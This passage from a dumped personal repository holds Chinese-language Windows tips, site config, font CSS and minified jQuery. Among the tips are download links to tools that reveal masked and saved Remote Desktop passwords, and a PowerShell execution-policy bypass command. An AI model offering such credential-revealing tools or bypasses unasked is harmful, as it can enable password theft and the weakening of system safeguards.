v1.7.11.zip)\r\n\r\n使用方法：安装Java，启动后设置监听在所有网卡，导出证书CA.crt发送到手机，手机导入证书，手机忘记Wifi后连接wifi时设置代理，手机启动APP，查看流量咯~\r\n\r\n## BEncode Editor\r\n\r\n创建/编辑种子信息，做一个勤奋的搬运工...\r\n\r\n[BEncode Editor.exe](https://d.py3.io/BEncode%20Editor.exe)\r\n\r\n## Win10 Windows照片查看器\r\n\r\nFrom: http://www.xitongcheng.com/jiaocheng/win10_article_12240.html\r\n\r\nWin+R打开regedit，找到HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Photo Viewer\\Capabilities\\FileAssociations\r\n\r\n右键，新建字符串值，命名为.jpg，值为PhotoViewer.FileAssoc.Tiff\r\n\r\n我的情况是原先有.tif和.tiff的，还需要新建这些后缀名.jpeg .bmp .png .gif\r\n\r\n创建后再看打开方式就有了Windows照片查看器\r\n\r\n## 星号密码查看\r\n\r\n一般是用不着 [AsteriskPassword.exe](https://d.py3.io/AsteriskPassword.exe)\r\n\r\n## 远程连接密码查看\r\n\r\n[mstscpass.exe](https://d.py3.io/mstscpass.exe)\r\n\r\n## GHO文件查看\r\n\r\n也是很久没用了啊 [Ghostexp.exe](https://d.py3.io/Ghostexp.exe)\r\n\r\n## 文件哈希计算\r\n\r\nLinux下直接用md5sum sha1sum就够了\r\n\r\n[Hash.exe](https://d.py3.io/Hash.exe)\r\n\r\n## tcping 检测端口是否开放\r\n\r\n一直ping的用法: `tcping -t py3.io 443`\r\n\r\n[tcping.exe](https://d.py3.io/tcping.exe)\r\n\r\n## Nginx 1.11.8\r\n\r\n[nginx.zip](https://d.py3.io/nginx.zip)\r\n\r\n----\r\n\r\n## Bash On Win10\r\n\r\n### mount挂载其他分区\r\n\r\n```\r\nmount -t drvfs D: /mnt/d\r\n```\r\n\r\n----\r\n\r\n## VMware vCenter Converter\r\n\r\n无需关机，无需移动硬盘将物理机转为虚拟机镜像\r\n\r\n基于Windows的卷影复制功能\r\n\r\nhttp://www.softpedia.com/get/System/System-Miscellaneous/VMware-Converter.shtml\r\n\r\n----\r\n\r\n## 命令行开关蓝牙 powershell\r\n\r\n参考： https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/https://superuser.com/questions/1168551/turn-on-off-bluetooth-radio-adapter-from-cmd-powershell-in-windows-10\r\n\r\n绕过powershell执行安全策略参考： https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/\r\n\r\n将这个保存为b.ps1\r\n\r\n```\r\n[CmdletBinding()] Param (\r\n    [Parameter(Mandatory=$true)][ValidateSet('Off', 'On')][string]$BluetoothStatus\r\n)\r\nIf ((Get-Service bthserv).Status -eq 'Stopped') { Start-Service bthserv }\r\nAdd-Type -AssemblyName System.Runtime.WindowsRuntime\r\n$asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]\r\nFunction Await($WinRtTask, $ResultType) {\r\n    $asTask = $asTaskGeneric.MakeGenericMethod($ResultType)\r\n    $netTask = $asTask.Invoke($null, @($WinRtTask))\r\n    $netTask.Wait(-1) | Out-Null\r\n    $netTask.Result\r\n}\r\n[Windows.Devices.Radios.Radio,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\r\n[Windows.Devices.Radios.RadioAccessStatus,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\r\nAwait ([Windows.Devices.Radios.Radio]::RequestAccessAsync()) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null\r\n$radios = Await ([Windows.Devices.Radios.Radio]::GetRadiosAsync()) ([System.Collections.Generic.IReadOnlyList[Windows.Devices.Radios.Radio]])\r\n$bluetooth = $radios | ? { $_.Kind -eq 'Bluetooth' }\r\n[Windows.Devices.Radios.RadioState,Windows.System.Devices,ContentType=WindowsRuntime] | Out-Null\r\nAwait ($bluetooth.SetStateAsync($BluetoothStatus)) ([Windows.Devices.Radios.RadioAccessStatus]) | Out-Null\r\n```\r\n\r\n开启蓝牙：\r\n\r\n```\r\npowershell -ExecutionPolicy Bypass -File ./b.ps1 -BluetoothStatus On\r\n```\r\n\r\n关闭就是Off\r\n\r\n----\r\n\r\n## 文件夹背景右键直接显示bash\r\n\r\n默认需要按住Shift右键才会显示\r\n\r\nHKEY_CLASSES_ROOT\\Directory\\Background\\shell\\WSL\r\n\r\n删除其中的Extended项即可，可能没有权限需要先获得所有权再给自己权限，[参考](https://www.ithome.com/html/win10/282909.htm)\r\n\r\n附上默认的command:\r\n\r\n```\r\nwsl.exe --cd \"%V\"\r\npowershell.exe -noexit -command Set-Location -literalPath '%V'\r\ncmd.exe /s /k pushd \"%V\"\r\n```\r\n\r\n----\r\n\r\n## sshfs挂载远程目录\r\n\r\nhttps://github.com/billziss-gh/sshfs-win\r\n\r\n相比玄学的windows共享，还是ssh更加简单靠谱，只是有时候ssh.exe会CPU100%卡住，需要任务管理器kill\r\n\r\n使用前需要先让ssh开启密码验证，你可以使用`ssh -i /dev/null`去连接测试能否登录\r\n\r\n可以用多个`..\\`挂载上级目录\r\n\r\n```\r\nnet use h: \\\\sshfs\\root@ip!2222\\..\\\r\n```\r\n\r\n----\r\n\r\n## 命令行windows时间同步\r\n\r\n参考： https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/how-to-force-windows-10-time-to-synch-with-a-time/20f3b546-af38-42fb-a2d0-d4df13cc8f43\r\n\r\n```\r\nnet start w32time\r\nw32tm /register\r\nw32tm /resync\r\n```\r\n\r\n同时，你可能想要将Windows Time服务设置为自动启动\r\n\r\n-----\r\n\r\n## Windows激活\r\n\r\n查看激活信息：\r\n\r\n```\r\nslmgr.vbs /dli\r\n```\r\n\r\n设置kms服务器地址：\r\n\r\n```\r\nslmgr.vbs /skms 10.203.8.58\r\nslmgr.vbs /ato\r\n```\r\n\r\n查看过期时间：\r\n\r\n```\r\nslmgr.vbs /xpr\r\n```\r\n\r\n-----\r\n\r\n## 查看BitLocker加密进度\r\n\r\n新的win10里不会在UI显示加密进度，只能靠管理员权限的命令行查询：\r\n\r\nmanage-bde -status\r\n\r\n-------\r\n\r\n## 找回消失的窗口\r\n\r\n参考 [Windows系统窗口消失之谜及解决方法](http://tech.sina.com.cn/s/2009-01-10/22142737573.shtml)\r\n\r\n感叹一下windows的向下兼容做得真好，2009年的文章现在仍然有效\r\n\r\nWin10任务栏右键没法对窗口进行移动了，解决方案是点击后Alt+空格，然后按M，按方向键，再移动鼠标即可\r\n\r\n\r\n"
  },
  {
    "path": "_clicktocompile.bat",
    "content": "@echo off\r\nbash -c \"git --no-pager diff; git status\"\r\nset /p message=commit message?\r\nbash -c \"./compile.sh\"\r\nbash -c \"git add -A .\"\r\nbash -c \"GPG_TTY=$(tty) git commit -m '%message%'\"\r\nbash -c \"git push\"\r\npause"
  },
  {
    "path": "_config.yml",
    "content": "theme: jekyll-theme-hacker\r\nhighlighter: pygments\r\ntitle: notebook\r\ndescription: 我的技术笔记本~"
  },
  {
    "path": "assets/css/filelist.txt",
    "content": "https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xIIzI.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBBc4.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu72xKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu5mxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7mxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4WxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7WxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7GxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxK.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc4.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2\n"
  },
  {
    "path": "assets/css/fonts.css",
    "content": "/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xIIzI.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}"
  },
  {
    "path": "assets/js/comment.js",
    "content": "/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license\n//@ sourceMappingURL=jquery.min.map\n*/\n(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],p=\"2.0.3\",f=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,w=/\\S+/g,T=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,C=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,k=/^-ms-/,N=/-([\\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener(\"DOMContentLoaded\",S,!1),e.removeEventListener(\"load\",S,!1),x.ready()};x.fn=x.prototype={jquery:p,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if(\"string\"==typeof e){if(r=\"<\"===e.charAt(0)&&\">\"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(this,x.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:o,!0)),C.test(r[1])&&x.isPlainObject(t))for(r in t)x.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return i=o.getElementById(r[2]),i&&i.parentNode&&(this.length=1,this[0]=i),this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?n.ready(e):(e.selector!==undefined&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,t,n,r,i,o,s=arguments[0]||{},a=1,u=arguments.length,l=!1;for(\"boolean\"==typeof s&&(l=s,s=arguments[1]||{},a=2),\"object\"==typeof s||x.isFunction(s)||(s={}),u===a&&(s=this,--a);u>a;a++)if(null!=(e=arguments[a]))for(t in e)n=s[t],r=e[t],s!==r&&(l&&r&&(x.isPlainObject(r)||(i=x.isArray(r)))?(i?(i=!1,o=n&&x.isArray(n)?n:[]):o=n&&x.isPlainObject(n)?n:{},s[t]=x.extend(l,o,r)):r!==undefined&&(s[t]=r));return s},x.extend({expando:\"jQuery\"+(p+Math.random()).replace(/\\D/g,\"\"),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=a),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){(e===!0?--x.readyWait:x.isReady)||(x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(o,[x]),x.fn.trigger&&x(o).trigger(\"ready\").off(\"ready\")))},isFunction:function(e){return\"function\"===x.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[m.call(e)]||\"object\":typeof 